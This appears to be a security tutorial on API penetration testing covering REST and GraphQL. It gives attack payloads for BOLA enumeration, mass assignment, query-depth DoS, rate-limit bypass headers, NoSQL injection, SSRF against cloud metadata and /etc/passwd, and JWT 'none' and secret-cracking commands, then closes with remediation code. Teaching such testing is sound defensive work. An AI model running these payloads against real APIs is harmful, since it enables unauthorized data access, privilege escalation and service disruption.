API security testing and vulnerability assessment

API Security Testing: REST, GraphQL, and Beyond

API security testing including BOLA, mass assignment, GraphQL introspection, rate limiting bypass, and API-specific vulnerabilities.

Feb 3, 2026
Updated Dec 11, 2025
2 min read

Introduction

APIs (Application Programming Interfaces) have become the backbone of modern applications, connecting mobile apps, web frontends, microservices, and third-party integrations. This interconnected architecture creates vast attack surfaces where traditional web security testing methods often fall short.

API security testing requires understanding different API architectures (REST, GraphQL, gRPC), authentication mechanisms (API keys, OAuth, JWT), and API-specific vulnerability classes outlined in the OWASP API Security Top 10.

API Reconnaissance

Finding API Endpoints

# Check common paths
/api/
/api/v1/
/api/v2/
/graphql
/graphiql
/v1/graphql
/rest/
/api-docs
/swagger.json
/swagger/
/openapi.json

# JavaScript file analysis
# Look for API endpoints in JS bundles
curl -s https://target.com/main.js | grep -oP '"/api/[^"]*"'

# Mobile app decompilation
apktool d app.apk
grep -r "api" ./app/smali/

API Documentation Discovery

# Swagger/OpenAPI
/swagger.json
/swagger/v1/swagger.json
/api/swagger.json
/api-docs
/api/api-docs

# GraphQL introspection
POST /graphql
{"query": "{__schema{types{name,fields{name}}}}"}

# WADL (REST)
/application.wadl

OWASP API Security Top 10

API1: Broken Object Level Authorization (BOLA)

Most common API vulnerability - accessing other users' data by changing IDs:

# Original request
GET /api/v1/users/1001/profile
Authorization: Bearer user_token

# Attack - change user ID
GET /api/v1/users/1002/profile
Authorization: Bearer user_token

Testing methodology:

import requests

# Test IDOR across endpoints
endpoints = [
    '/api/users/{id}',
    '/api/orders/{id}',
    '/api/documents/{id}',
    '/api/messages/{id}'
]

for endpoint in endpoints:
    # Try other user IDs
    for user_id in range(1, 100):
        url = endpoint.format(id=user_id)
        r = requests.get(f"https://target.com{url}",
            headers={"Authorization": "Bearer YOUR_TOKEN"})
        if r.status_code == 200:
            print(f"[BOLA] Accessible: {url}")

API2: Broken Authentication

# Test weak JWT
# Check for algorithm confusion (RS256 -> HS256)
# Check for none algorithm
# Brute force weak secrets

# API key in URL (logged, cached)
GET /api/data?api_key=secret123

# Bearer token without expiration
Authorization: Bearer never_expires_token

# Missing authentication on endpoints
GET /api/admin/users  # No auth required?

API3: Broken Object Property Level Authorization

Mass assignment - modifying properties you shouldn't:

# Original profile update
PUT /api/users/me
{"name": "John", "email": "[email protected]"}

# Attack - add privileged fields
PUT /api/users/me
{"name": "John", "email": "[email protected]", "role": "admin", "balance": 99999}

API4: Unrestricted Resource Consumption

# Large payload DoS
curl -X POST https://api.target.com/upload \
  -H "Content-Type: application/json" \
  -d '{"data": "'$(python -c "print('A'*10000000)"):'"}'

# GraphQL query depth attack
query {
  user {
    friends {
      friends {
        friends {
          friends { ... }
        }
      }
    }
  }
}

# Batch endpoint abuse
POST /api/batch
{"requests": [{"path": "/users/1"}, {"path": "/users/2"}, ... * 10000]}

API5: Broken Function Level Authorization

# Access admin endpoints as regular user
GET /api/admin/users
POST /api/admin/settings
DELETE /api/admin/logs

# HTTP method tampering
# If GET is protected but POST isn't
POST /api/admin/users  # Different auth check?

# Version difference
GET /api/v1/admin/users  # Protected
GET /api/v2/admin/users  # Not protected?

REST API Testing

HTTP Methods Testing

# Test all methods on endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
    curl -X $method https://api.target.com/users/1 -v
done

# Method override
curl -X POST https://api.target.com/users/1 \
    -H "X-HTTP-Method-Override: DELETE"

# Content-Type variations
curl -X POST https://api.target.com/users \
    -H "Content-Type: application/xml" \
    -d "<user><name>test</name></user>"

Parameter Pollution

# HTTP Parameter Pollution
GET /api/transfer?to=attacker&amount=100&to=victim

# Array injection
GET /api/users?id[]=1&id[]=2&id[]=3

# JSON injection
{"user": "normal", "user": "admin"}

GraphQL Security Testing

Introspection Queries

# Full schema dump
{
  __schema {
    types {
      name
      fields {
        name
        args { name type { name } }
        type { name kind }
      }
    }
    queryType { name }
    mutationType { name }
  }
}

# List all queries
{
  __schema {
    queryType {
      fields {
        name
        description
        args { name type { name } }
      }
    }
  }
}

GraphQL-Specific Attacks

# Batch query attack
query {
  user1: user(id: 1) { password }
  user2: user(id: 2) { password }
  user3: user(id: 3) { password }
  # ... enumerate all users
}

# Alias-based BOLA
query {
  myProfile: user(id: 1) { email }
  victimProfile: user(id: 2) { email }
}

# Nested query DoS (Query Depth Attack)
query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends { name }
          }
        }
      }
    }
  }
}

# Field suggestion exploitation
{ __type(name: "User") { fields { name } } }

Mutations Testing

# Test authorization on mutations
mutation {
  deleteUser(id: 2) { success }
}

mutation {
  updateUser(id: 2, data: {role: "admin"}) {
    id role
  }
}

# Mass assignment via mutation
mutation {
  createUser(input: {
    name: "test",
    email: "[email protected]",
    isAdmin: true,
    balance: 99999
  }) { id }
}

Rate Limiting Bypass

Headers Manipulation

# IP spoofing headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1

# Rotate through different IPs
X-Forwarded-For: 1.1.1.1
X-Forwarded-For: 1.1.1.2
X-Forwarded-For: 1.1.1.3

Endpoint Variations

# Case changes
/api/Users/1
/API/users/1
/api/USERS/1

# Path variations
/api/users/1
/api/users/1/
/api/./users/1
/api/users/1.json
/api/v1/../v1/users/1

# Parameter variations
/api/users?id=1
/api/users?ID=1
/api/users?id[]=1

Unicode/Encoding

# Unicode normalization
/api/users/1%00
/api/users/1%0d%0a
/api/users%2f1

# Double encoding
/api/users%252f1

Injection in APIs

NoSQL Injection

// MongoDB injection
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": "^a"}, "password": {"$ne": null}}

// Operator injection
{"$where": "this.username == 'admin'"}

Server-Side Request Forgery (SSRF)

// Webhook/callback parameters
{
  "url": "http://internal-server/admin",
  "webhook": "http://169.254.169.254/latest/meta-data/",
  "callback": "http://localhost:8080/admin"
}

// Image/file URL parameters
{
  "avatar_url": "file:///etc/passwd",
  "import_url": "http://internal:8080/secrets"
}

API Authentication Testing

JWT Testing

# Decode JWT
echo "eyJhbG..." | cut -d'.' -f2 | base64 -d

# Tools
jwt_tool eyJhbG... -X a  # Algorithm none attack
jwt_tool eyJhbG... -X k -pk public.pem  # Key confusion

# Check expiration
jwt_tool eyJhbG... -C  # Crack weak secret

API Key Testing

# Check key scope
# Test key on different endpoints
# Check if key works without signature
# Test key rotation/revocation

Tools

ToolPurpose
Burp SuiteAPI interception and testing
PostmanAPI development and testing
GraphQL VoyagerSchema visualization
InQLGraphQL security scanner
jwt_toolJWT manipulation
ArjunHidden parameter discovery
KiterunnerAPI endpoint discovery

Remediation

Authorization

# Always verify ownership
def get_order(order_id):
    order = Order.query.get(order_id)
    if order.user_id != current_user.id:
        abort(403)
    return order

Input Validation

from pydantic import BaseModel, validator

class UserUpdate(BaseModel):
    name: str
    email: str

    class Config:
        # Only allow defined fields
        extra = 'forbid'

Rate Limiting

from flask_limiter import Limiter

limiter = Limiter(key_func=get_remote_address)

@app.route('/api/login')
@limiter.limit("5 per minute")
def login():
    pass

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Tools Documentation

Last updated on